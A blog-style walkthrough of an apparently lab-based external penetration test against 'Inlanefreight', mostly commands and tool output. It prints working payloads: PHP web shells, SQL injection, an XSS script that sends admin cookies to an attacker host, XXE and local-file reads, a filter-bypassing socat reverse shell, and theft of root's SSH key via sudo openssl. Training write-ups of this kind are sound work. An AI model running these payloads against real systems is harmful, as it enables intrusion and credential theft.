Attacking Enterprise Networks
Anton Hoang
8/16/202638 min read

Inlanefreight LTD has contracted to perform a full-scope External Penetration Test to assess their perimeter security.
The client has asked us to identify as many vulnerabilities as possible; therefore, evasive testing is not required. They would like to see what sort of access can be achieved by an anonymous user on the Internet.
Per the Rules of Engagement (RoE), if we can breach the DMZ and gain a foothold into the internal network, they would like us to see how far we can take that access, up to and including Active Directory domain compromise. The client has not provided web application, VPN, or Active Directory user credentials. The following domain and network ranges are in scope for testing:
The customer has provided the primary domain and internal networks but has not given specifics on the exact subdomains within this scope nor the "live" hosts we will encounter within the network. They would like us to perform discovery to see what type of visibility an attacker can gain against their external network.
External Testing:
10.129.x.x ("external" facing target host).
*.inlanefreight.local (all subdomains).
Internal Testing:
172.16.8.0/23
172.16.9.0/23
INLANEFREIGHT.LOCAL (Active Directory domain).
sudo nmap -A -p- --open -oA portscanning <target-ip>
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 38 May 30 17:16 flag.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.15
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 71:08:b0:c4:f3:ca:97:57:64:97:70:f9:fe:c5:0c:7b (RSA)
| 256 45:c3:b5:14:63:99:3d:9e:b3:22:51:e5:97:76:e1:50 (ECDSA)
|_ 256 2e:c2:41:66:46:ef:b6:81:95:d5:aa:35:23:94:55:38 (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open domain
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
| bind
| dns-nsid:
|_ bind.version:
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Inlanefreight
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_pop3-capabilities: SASL TOP PIPELINING STLS RESP-CODES AUTH-RESP-CODE CAPA UIDL
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: LITERAL+ LOGIN-REFERRALS more Pre-login post-login ID capabilities listed have LOGINDISABLEDA0001 OK ENABLE IDLE STARTTLS SASL-IR IMAP4rev1
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_imap-capabilities: LITERAL+ LOGIN-REFERRALS AUTH=PLAINA0001 post-login ID capabilities more have listed OK ENABLE IDLE Pre-login SASL-IR IMAP4rev1
995/tcp open ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu
| Subject Alternative Name: DNS:ubuntu
| Not valid before: 2022-05-30T17:15:40
|_Not valid after: 2032-05-27T17:15:40
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL(PLAIN) TOP PIPELINING CAPA RESP-CODES AUTH-RESP-CODE USER UIDL
8080/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Support Center
<SNIP>
After enumerated these following services, the finding concluded:
FTP: Able to login anonymous, but in a restricted environment.
SSH: SSH version has no known vulerabilities (at the time of writing), no weak credentials found.
SMTP: Low Risk - VRFY command is enabled.
rpcbind: Low Risk - Unnecessary Exposed Services.
The Nmap scans uncovered a few interesting services:
Port 21: FTP
Port 22: SSH
Port 25: SMTP
Port 53: DNS
Port 80: HTTP
Ports 110/143/993/995: imap & pop3
Port 111: rpcbind
Start off with a quick initial Nmap scan against our target to get a lay of the land and see what we're dealing with.
# DNS Zone Transfer
dig axfr inlanefreight.local @<target-ip>
# Vhost Discovery
ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt:FUZZ -u http://<target-ip>/ -H 'Host: FUZZ.inlanefreight.local' -fs 15157 -s | sort -u > subdomains.txt
To start web enumeration, we first need to perform a DNS Zone Transfer and a Vhost discovery for this target to discovery subdomains within the server.
Once the scan is complete, add the discovered subdomains to the /etc/hosts.
/careers.inlanefreight.local
Below are the enumeration processes and findings for each subdomains.
Anything with dev in the URL or name is interesting, as this could potentially be accidentally exposed and riddled with flaws/not production-ready. Unfortunately weak password combinations and authentication bypass payload yield no results. However, we can enumerate subdirectories for this server.


There was not much information we were able to gathered from this. However, when tweaking the number within the id parameter of the URL shows that we can access other users' profiles and see what jobs they applied to. This is a classic example of an Insecure Direct Object Reference (IDOR) vulnerability.
/dev.inlanefreight.local
When browsing to http://careers.inlanefreight.local/, there is an option for user registration. We can test this to see if there are any vulnerability within this web applications.
ffuf -u http://dev.inlanefreight.local/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php -t 300
<SNIP>
.htaccess [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 82ms]
[Status: 200, Size: 2048, Words: 643, Lines: 74, Duration: 84ms]
.hta.php [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 2063ms]
.htpasswd [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 2064ms]
.php [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 4075ms]
.hta [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 4075ms]
.htpasswd.php [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 5092ms]
.htaccess.php [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 5095ms]
css [Status: 301, Size: 332, Words: 20, Lines: 10, Duration: 81ms]
images [Status: 301, Size: 335, Words: 20, Lines: 10, Duration: 78ms]
index.php [Status: 200, Size: 2048, Words: 643, Lines: 74, Duration: 80ms]
index.php [Status: 200, Size: 2048, Words: 643, Lines: 74, Duration: 81ms]
js [Status: 301, Size: 331, Words: 20, Lines: 10, Duration: 81ms]
server-status [Status: 403, Size: 288, Words: 20, Lines: 10, Duration: 77ms]
upload.php [Status: 200, Size: 14, Words: 2, Lines: 2, Duration: 85ms]
uploads [Status: 301, Size: 336, Words: 20, Lines: 10, Duration: 79ms]
:: Progress: [9228/9228] :: Job [1/1] :: 152 req/sec :: Duration: [0:00:20] :: Errors: 0 ::
The uploads and upload.php pages immediately call our attention. If we're able to upload a PHP web shell, chances are we can browse right to it in the /uploads directory, which has directory listing enabled.
Finding: Low Risk - Directory Listing Enabled.
Browsing to /upload.php gives us a 403 Forbidden error message and nothing more, which is interesting because the status code is a 200 OK success code.
To understand this further, we can usse Burp Suite here to capture the request and see if we can figure out what's going on.
Capture the request and then re-request the page using the OPTIONS method, we see that various methods are allowed:
GET,POST,PUT,TRACK,OPTIONS.
Cycling through the various options, each gives us a server error until we try the TRACK method and see that the X-Custom-IP-Authorization: header is set in the HTTP response.


X-Custom-IP-Authorization: 172.18.0.1
By adding the header X-Custom-IP-Authorization: 127.0.0.1 to the HTTP request in Burp Repeater and then requesting the page with the TRACK method again yields an interesting result. It appears that there is a file upload form in the HTTP response body.


127.0.0.1 represents localhost—the loopback address that refers to the local server itself.
In web security, developers often restrict sensitive administrative features (like file upload tools or admin panels) so that only traffic originating directly from the local server can access them.
Why 127.0.0.1 Works Here
Poor Developer Security Logic: The backend code checks the HTTP header X-Custom-IP-Authorization to determine where the request is coming from instead of validating the actual TCP socket connection.
IP Spoofing / Header Injection: Because HTTP headers are controlled entirely by the client, you can send X-Custom-IP-Authorization: 127.0.0.1 to trick the web server into believing the request is coming from an internal, trusted admin session on the local machine (127.0.0.1).
Bypassing Access Controls: Once the server believes you are making the request locally, it grants access to the restricted upload form in the response body.
By copying the resultant URL and Request in Browser, then navigate to the target URL. A photo editing platform loads for us.
We can click on the Browse button and attempt to upload a simple webshell with the following contents:
Then save the file as 1284u12984u12094i194u129.php or something similar.
Attempting to upload the .php file directly results in an error: "JPG, JPEG, PNG & GIF files are allowed.", which shows that some weak client-side validation is likely in place. Grab the POST request, send it to Repeater once again and try modifying the Content-Type: header in the request to see if we can trick the application into accepting our file as valid.
We can now use cURL to interact with this web shell and execute commands on the web server.
WEB ENUMERATION
We then feed EyeWitness an Nmap.xml file or a Nessus scan.
awk '{print $0 ".inlanefreight.local"}' subdomains.txt > subdomains_full.txt
eyewitness -f subdomains_full.txt -d ILFREIGHT_subdomain_EyeWitness
Starting Web Requests (11 Hosts)
Attempting to screenshot http://inlanefreight.local
Attempting to screenshot http://blog.inlanefreight.local
Attempting to screenshot http://careers.inlanefreight.local
Attempting to screenshot http://dev.inlanefreight.local
Attempting to screenshot http://gitlab.inlanefreight.local
Attempting to screenshot http://ir.inlanefreight.local
Attempting to screenshot http://status.inlanefreight.local
Attempting to screenshot http://support.inlanefreight.local
Attempting to screenshot http://tracking.inlanefreight.local
Attempting to screenshot http://vpn.inlanefreight.local
Attempting to screenshot http://monitoring.inlanefreight.local
Finished in 34.79010033607483 seconds
[*] Done! Report written in the /home/tester/INLANEFREIGHT-IPT/Evidence/Scans/Web/ILFREIGHT_subdomain_EyeWitness folder!
Would you like to open the report now? [Y/n] n
awk '{print "<target-ip> " $0 ".inlanefreight.local"}' subdomains.txt | sudo tee -a /etc/hosts

Finding: Medium Risk - Potential for Sensitive Data Exposure.
<?php system($_GET['cmd']); ?>
echo '<?php system($_GET["cmd"]); ?>' > 1274129432193182851294.php


curl "http://dev.inlanefreight.local/uploads/1274129432193182851294.php?cmd=id"
sudo wpscan -e ap,u -t 500 --url http://ir.inlanefreight.local
<SNIP>
[+] WordPress version 6.0 identified (Insecure, released on 2022-05-24).
| Found By: Rss Generator (Passive Detection)
| - http://ir.inlanefreight.local/feed/, <generator>https://wordpress.org/?v=6.0</generator>
| - http://ir.inlanefreight.local/comments/feed/, <generator>https://wordpress.org/?v=6.0</generator>
[+] WordPress theme in use: cbusiness-investment
| Location: http://ir.inlanefreight.local/wp-content/themes/cbusiness-investment/
| Last Updated: 2026-04-11T00:00:00.000Z
| Readme: http://ir.inlanefreight.local/wp-content/themes/cbusiness-investment/readme.txt
| [!] The version is out of date, the latest version is 1.0
| Style URL: http://ir.inlanefreight.local/wp-content/themes/cbusiness-investment/style.css?ver=6.0
<SNIP>
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] b2i-investor-tools
| Location: http://ir.inlanefreight.local/wp-content/plugins/b2i-investor-tools/
| Last Updated: 2025-05-22T05:29:00.000Z
| [!] The version is out of date, the latest version is 1.0.8.2
<SNIP>
[+] mail-masta
| Location: http://ir.inlanefreight.local/wp-content/plugins/mail-masta/
| Latest Version: 1.0 (up to date)
| Last Updated: 2014-09-19T07:52:00.000Z
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
| Version: 1.0 (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://ir.inlanefreight.local/wp-content/plugins/mail-masta/readme.txt
<SNIP>
i] User(s) Identified:
[+] ilfreightwp
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://ir.inlanefreight.local/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Sitemap (Aggressive Detection)
| - http://ir.inlanefreight.local/wp-sitemap-users-1.xml
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] john
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] tom
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] james
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Upon investigating the web server, this URL seems to be hosted with WordPress. Using WPScan we can enumerate which plugins and users are available.
/ir.inlanefreight.local
The Mail Masta plugin is an older plugin with several known vulnerabilities. We can use this exploit to read files on the underlying file system by leveraging a Local File Inclusion (LFI) vulnerability.
curl http://ir.inlanefreight.local/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<SNIP>
Finding: Low Risk - Directory Listing Enabled.
Furthermore, we can brute-force account passwords using SecLists Github repo wordlist.
WordPress login page is often located at /wp-login.php. Once logged in with valid credentials, we got redirected to http://ir.inlanefreight.local/wp-admin/. Here we can browse for the web application themes, pick an inactive theme and edit the 404.php file to add our PHP web shell to gain RCE.


Click on Update File at the bottom to save. We know that WordPress themes are located at /wp-content/themes/<theme name>. We can interact with the web shell via the browser or using cURL. As always, we can then utilize this access to gain an interactive reverse shell and begin exploring the target.
From the results, we can confirm the following information:
The WordPress core version is the latest (6.0 at the time of writing).
The theme in use is cbusiness-investment.
The b2i-investor-tools plugin is installed.
The mail-masta plugin is installed.
Available users:
ilfreightwp
tom
james
john
sudo wpscan --url http://ir.inlanefreight.local -P /usr/share/seclists/Passwords/Common-Credentials/darkweb2017_top-100.txt -U ilfreightwp
<SNIP>
[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - ilfreightwp / password1
Trying ilfreightwp / 123123 Time: 00:00:00 <===== > (10 / 109) 9.17% ETA: ??:??:??
[!] Valid Combinations Found:
| Username: ilfreightwp, Password: <REDACTED>
system($_GET[0]);
curl http://ir.inlanefreight.local/wp-content/themes/twentytwentyone/404.php?0=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Finding: High Risk - Weak WordPRess Admin Credentials.
This website offer a Search logs that allows user input their query. Entering a single quote (') throws a MySQL error message which indicates the presence of a SQL injection vulnerability.
/status.inlanefreight.local


To exploit this, we can manually enter our payload such as:
' union select null, database(), user(), @@version -- //
However, this requires a lot of manual works changing around to display its database. Instead, we can use SQLmap to exploit this vulnerability.
Next, run this file through sqlmap.
sqlmap -r sqlinject.txt --dbms=mysql
<SNIP>
[00:07:24] [INFO] (custom) POST parameter '#1*' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 59 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
Payload: searchitem=%' AND 6921=6921#
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: searchitem=%' AND GTID_SUBSET(CONCAT(0x716a787071,(SELECT (ELT(5964=5964,1))),0x716a7a7171),5964) AND 'lVzh%'='lVzh
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: searchitem=%' AND (SELECT 1227 FROM (SELECT(SLEEP(5)))jrOp) AND 'ENPh%'='ENPh
Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: searchitem=%' UNION ALL SELECT NULL,NULL,CONCAT(0x716a787071,0x78724f676c7967575469546e6b765775707470466457486b78436373696d57546b4f72704d47735a,0x716a7a7171),NULL#
We can further enumerate for available databases and tables as follows:
sqlmap -r sqlinject.txt --dbms=mysql --dbs
<SNIP>
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] status
[*] sys
sqlmap -r sqlinject.txt --dbms=mysql -D status --tables
<SNIP>
---
[00:10:29] [INFO] testing MySQL
[00:10:29] [INFO] confirming MySQL
[00:10:29] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 8.0.0
[00:10:29] [INFO] fetching tables for database: 'status'
Database: status
[2 tables]
+---------+
| company |
| users |
+---------+
Finding: High Risk - SQL Injection
First capture a POST request within Burp, mark searchitem parameter (which search for user inputs as shown above) with a * for injection point and save to a text file on local machine.
POST / HTTP/1.1
Host: status.inlanefreight.local
Content-Length: 12
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://status.inlanefreight.local
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://status.inlanefreight.local/
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=vjai05uiunr71i0n9hajglnvt1
Connection: keep-alive
searchitem=*
/support.inlanefreight.local
When browsing to http://support.inlanefreight.local, it indicate that this is an IT support portal. Trying common credentials within login portals was unsuccessful, so we can try to Submit a ticket to see if it's vulnerable to XXS attacks.
Under the /ticket.php page, fill out the required details and include the following code within the Message field.
"><script src=http://<local-ip>:8443/Testing></script>
If our Netcat is configured, we should receive a call back.
nc -lnvp 8443
Listening on 0.0.0.0 8443
Connection received on 10.129.229.147 59210
GET /Testing HTTP/1.1
Host: 10.10.14.209:8443
Connection: keep-alive
User-Agent: HTBXSS/1.0
Accept: /
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate
Accept-Language: en-US
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
We would also need a .js (java) script to inject the the .php payload to target server.
new Image().src='http://<local-ip>:8443/index.php?c='+document.cookie
Next is to start the PHP listening server, then inject to payload to trigger our .php script.
We should receive a callback with an admin's session cookie.
Now that we have obtained the admin's cookie. We can either use Cookie-Editor or FireFox build-in function to modify our cookie. Once added, navigate to Login, we should be redirected to http://support.inlanefreight.local/dashboard.php.
Finding: High Risk - Cross-Site Scripting (XXS)
Now that we know the web application is vulnerable to XXS attacks. To steal an admin\s cookies, we need to create the following .php file and host it on our server to split the cookie-logging.
"><script src=http://<local-ip>:8443/payload.js></script>
sudo php -S 0.0.0.0:8443
[Wed Aug 12 06:38:34 2026] PHP 8.4.16 Development Server (http://0.0.0.0:8443) started
[Wed Aug 12 06:39:14 2026] 10.129.72.95:47256 Accepted
[Wed Aug 12 06:39:14 2026] 10.129.72.95:47256 [200]: GET /payload.js
[Wed Aug 12 06:39:14 2026] 10.129.72.95:47256 Closing
[Wed Aug 12 06:39:14 2026] 10.129.72.95:47258 Accepted
[Wed Aug 12 06:39:14 2026] 10.129.72.95:47258 [200]: GET /index.php?c=session=<REDACTED>
[Wed Aug 12 06:39:16 2026] 10.129.72.95:47278 Closing
/tracking.inlanefreight.local
Next is tracking subdomain, where the web application allows users to enter a tacking number and return a PDF file showing status of their order.
Upon testing this input field with a random number, the following PDF file was generated.
To understand what type of vulnerabilities we are dealing with (if there is). We can inject either a simple JavaScript or HTML payload as follows:
# JavaScript
<script>document.write('JavaTesting')</script>
# HTML payload
<h1>HTML Testing</h1>
Here is an example of reading local file using XMLHttpRequest (XHR) objects mentioned in the second blog:
Send the test POST request to Burp Repeater and inject the payload.
<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)};
x.open("GET","file:///etc/passwd");
x.send();
</script>


Finding: High Risk - SSRF to Local File Read vulnerability


/gitlab.inlanefreight.local
Gitlab instances can often reveals confidentials data such as passwords, SSH keys, other informations can could lead to further acess if not configured or protected.
Below is an example of how we can enumerate Gitlab after registering as a Software Developer and browse to /explore page.


It reveals another subdomain that was not possible to brute-force using ffuf and DNS zone transfer.
/shopdev2.inlanefreight.local
Finding: High Risk - Misconfigured Gitlab Instance.
There are a few steps that can implement to limit access to a Gitlab instance such as:
Requiring admin approval for new sign-ups.
Configured lists of domains allowed for sign-ups.
Configuring a deny list.
/shopdev2.inlanefreight.local
With another subdomain discovered from Github Lab, it appears that it requires login credentials upon visiting the website. These underdeveloping sites tend to have weak credentials pair, we can try something like admin:admin.
After testing out for injection vulnerabilities, searching for IDORs and other flaws, there nothing seems to be interesting. However, we can test the purchase function using Burp Suit to see if we were able to perform command injection.
Once we added items to the cart, browse to /cart.php and complete the checkout. If we catch the POST request with Burp, we should see the XML body looks like this:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<subtotal>
undefined
</subtotal>
<userid>
1206
</userid>
</root>
This could be a good sign for XML External Entity (XXE) injection as the form seems to be sending data to the server in XML format.
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt:FUZZ -u http://shopdev2.inlanefreight.local/FUZZ -e .php,.html,.js,.bak
Note: Assume we don't know the /cart.php extensions, we can use directory and file fuzzing tools such as ffuf and gobuster.
Below is an example of a XXE payload that reads /etc/passwd file:
Finding: High Risk - XML External Entity (XXE) Injection.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE userid [
<!ENTITY injection SYSTEM "file:///etc/passwd">
]>
<root>
<subtotal>
undefined
</subtotal>
<userid>
1206
</userid>
</root>
/monitoring.inlanefreight.local
Finally, the last subdomain, monitoring.inlanefreight.local. Upon visiting we were redirect to /login.php. After trying autentication bypass payloads, SQL injection and common weak credentials, unfortunately the results seems to be unsuccessful.
However, hydra is a tool that can often be used to brute-force HTTP login forms that can be tested out.
Once we acquired valid credentials and login, we were redirected to /index.php page. This appears to be a monitoring console. By typing help, we were presented with a list of commands.
After trying various basic commands, such as cat /etc/passwd, it appear that we are in a restricted environment.
However, connection_test yields a Success message. If we look at Burp environment, we can see that there is a GET request made to /ping.php for a localhost.


With this in mind, we can attempt to interfere with this request and inject our PHP function such as shell_exec(ping -c 1 127.0.0.1) or perhaps similar using the system() function to execute a command. If the script is coded improperly, it could results in command injection vulnerability.


We can certainly be sure that there is some sort of filtering in place as standards payloads such as |id and ;id results in Invalid input error as shown. It's possible to bypass this using encoded characters such as new-line (%0a).


The results was successful. However, when adding character such as i after the new-line, it results in Invalid input again. Meaning there is a second character blacklist filter.
Nevertheless, we can still bypass this filter using single quotes, for example:
GET /ping.php?ip=127.0.0.1%0a'i'd HTTP/1.1
Which results in 200 OK.
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.043/0.043/0.043/0.000 ms
uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm)
If we dig around more, this host seems to have multiple IP address, one of which is placed inside the 172.16.8.0/23 network that was part of the initial scope. Meaning that if we can access to this host, we may be able to piviot into the internal network and start attacking the AD domain.
The next challenge is to find a way to gain reverse shell to this host, but it seems like that space character is also being blacklisted. To be able to inject our payload, we first must understand what is being filter so we can limit our workload.
Using the ($IFS) Linux Environment Variable, we can bypass the filter and read the ping.php file's source code.
# Request
GET /ping.php?ip=127.0.0.1%0a'c'at${IFS}ping.php HTTP/1.1
# Response
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
$output = '';
function filter($str)
{
$operators = ['&', '|', ';', '\\', '/', ' '];
foreach ($operators as $operator) {
if (strpos($str, $operator)) {
return true;
}
}
$words = ['whoami', 'echo', 'rm', 'mv', 'cp', 'id', 'curl', 'wget', 'cd', 'sudo', 'mkdir', 'man', 'history', 'ln', 'grep', 'pwd', 'file', 'find', 'kill', 'ps', 'uname', 'hostname', 'date', 'uptime', 'lsof', 'ifconfig', 'ipconfig', 'ip', 'tail', 'netstat', 'tar', 'apt', 'ssh', 'scp', 'less', 'more', 'awk', 'head', 'sed', 'nc', 'netcat'];
foreach ($words as $word) {
if (strpos($str, $word) !== false) {
return true;
}
}
return false;
}
if (isset($_GET['ip'])) {
$ip = $_GET['ip'];
if (filter($ip)) {
$output = "Invalid input";
} else {
$cmd = "bash -c 'ping -c 1 " . $ip . "'";
$output = shell_exec($cmd);
}
}
?>
<?php
echo $output;
?>
The result above showns that the majority of options for getting a reverse shell are filtered which will make things difficult. However, Socat is a versatile tool that can be used for catching shells, and even pivoting. If we can find Socat within the target system, we can further enumerate this target.
GET /ping.php?ip=127.0.0.1%0a'w'h'i'ch${IFS}socat HTTP/1.1
Below is a basic command to establish a rever shell connection with Socat:
socat TCP4:<local-ip>:8443 EXEC:/bin/bash
Due to web application filters, we need to modify our command to the following:
GET /ping.php?ip=127.0.0.1%0a's'o'c'a't'${IFS}TCP4:<local-ip>:8443${IFS}EXEC:bash HTTP/1.1
nc -nvlp 8443
listening on [any] 8443 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.203.111] 51496
Before executing Socat, we must configured a Netcat listener on our attack machine. If successful, we will gain a rever shell connection.
Once connected, we need to upgrate to an interactive TTY. This post describes a few methods.
Example below uses the well-known Python one-liner command to spawn a pseudo-terminal:
python3 -c 'import pty; pty.spawn("/bin/bash")'
However, we will be using socat to launch a reverse shell. First, start a Socat listener on our attack host:
socat file:`tty`,raw,echo=0 tcp-listen:4443
Then trigger a Socat one-liner on the target host:
This will spawn a new reverse shell connection on our attack host.
socat file:`tty`,raw,echo=0 tcp-listen:4443
webdev@dmz01:/var/www/html/monitoring$ id
uid=1004(webdev) gid=1004(webdev) groups=1004(webdev),4(adm)
The id command shown that this user is part of the adm group, meaning they have rights to read ALL logs stored in /var/log. We can use aureport to read audit logs on Linux systems.
aureport --tty | less
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
WARNING: terminal is not fully functional
- (press RETURN)
TTY Report
===============================================
# date time event auid term sess comm data
===============================================
1. 06/01/22 07:12:53 349 1004 ? 4 sh "bash",<nl>
2. 06/01/22 07:13:14 350 1004 ? 4 su "<REDACTED>",<nl>
3. 06/01/22 07:13:16 355 1004 ? 4 sh "sudo su srvadm",<nl>
4. 06/01/22 07:13:28 356 1004 ? 4 sudo "<REDACTED"
5. 06/01/22 07:13:28 360 1004 ? 4 sudo <nl>
6. 06/01/22 07:13:28 361 1004 ? 4 sh "exit",<nl>
7. 06/01/22 07:13:36 364 1004 ? 4 bash "su srvadm",<ret>,"exit",<ret>
8. 06/01/22 07:13:36 365 1004 ? 4 sh "exit",<nl>
9. 06/01/22 07:13:50 371 0 ? 2 bash "clear",<ret>,"aureport --ty",<ret>,"clear",
<ret>,<up>,<up>,<left>,<left>,"t",<ret>,<up>,<ret>,<up>,<ret>,<up>,<ret>,"clear"
,<ret>,<down>,<down>,<up>,<up>,<ret>
10. 06/01/22 10:25:00 341 0 ? 2 docker "ls",<ret>,"cd /var/www/html",<ret>,"ls",
Note: After executing aureport, press ENTER to display output, then q to return to our shell.
Note 2: If aureport is not installed on target machine, we can attempt to transfer the Binary via Web Server.
From the above output, it looks like a user was trying to authenticate as the srvadm user, and we have a potential credential pair:
srvadm:<REDACTED>
Using the su command, we can authenticate as the srvadm user.
Now that we have obtained valid credentials, we can leverage the SSH port from the initial scan and connect for a stable connection.
Note: In case we don't have SSH open to the internet, we may need to achieve persistance in a different way, such as creating a reverse shell binary on the host, execute it via the command injection get a reverse shell or utilise Meterpreter shell then work from there.
ssh srvadm@<target-ip>
srvadm@10.129.73.9's password:
$ /bin/bash -i
srvadm@dmz01:~$ sudo -l
Matching Defaults entries for srvadm on dmz01:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User srvadm may run the following commands on dmz01:
(ALL) NOPASSWD: /usr/bin/openssl
srvadm@dmz01:~$ id
uid=1003(srvadm) gid=1003(srvadm) groups=1003(srvadm)
As seen above, this account has privilege to fully execute openssl binary. GTFOBin can be used to leverage the following:
Upload and download files.
Gain a reverse shell.
Read and write files.
The most ideal situation here is to obtain ida_rsa private key, as if we would lose the connection, we would be able to SSH back into the environment as the root user.
srvadm@dmz01:~$ LFILE=/root/.ssh/id_rsa
srvadm@dmz01:~$ sudo /usr/bin/openssl enc -in $LFILE
